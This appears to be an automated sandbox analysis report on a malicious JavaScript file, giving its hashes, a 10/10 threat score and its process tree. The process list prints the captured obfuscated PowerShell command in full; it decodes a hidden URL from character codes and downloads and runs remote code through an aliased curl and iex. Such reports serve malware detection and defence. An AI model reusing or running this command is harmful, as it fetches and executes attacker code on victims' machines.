Analysis
-
max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 15:13
General
-
Target
372da55f033558f502efcba706e5e4bc3b411254b0239c905f91226d98ece9bb.js
-
Size
173KB
-
MD5
c408249fdae85da2d16c7ed730cf0ea0
-
SHA1
63bef6bd09f32f3aec2323d9e84242f2b056e818
-
SHA256
372da55f033558f502efcba706e5e4bc3b411254b0239c905f91226d98ece9bb
-
SHA512
509453e95872d174535fe0db7cfee9a92c1d7c693fe682f4969fb36d3829d251b45f29b50338a38f9558ad7cdae145ab44a67469e73c901848a9e0861426d282
-
SSDEEP
1536:nwg5QqRPR1Amyb6uAh2hjV/M6KoVl310U/xCbT5Lmyb6uAz2hjV/M6KoVl310U/Q:nYAhY0a0skAzY0a0sIY0a0sJAtAE
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\372da55f033558f502efcba706e5e4bc3b411254b0239c905f91226d98ece9bb.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $jbuelcsinm='ur' ;new-alias printout c$($jbuelcsinm)l;$bestdflynwj=(371,382,390,374,376,371,391,390,395,328,390,324,371,319,389,384,385,320,322,319,385,377,385,336,388,334,382,378,383,389,388,323,322);$edticopqux=('bronx','get-cmdlet');$fgiwlba=$bestdflynwj;foreach($sognptfbyre in $fgiwlba){$itfjwuc=$sognptfbyre;$lakoej=$lakoej+[char]($itfjwuc-273);$oxhlfmvta=$lakoej; $hiksfvderlg=$oxhlfmvta};$cnahdzrqytkpx[2]=$hiksfvderlg;$cbzonrylwixfp='rl';$uygpwvjmte=1;.$([char](9992-9887)+'e'+'x')(printout -useb $hiksfvderlg)1⤵
- Process spawned unexpected child process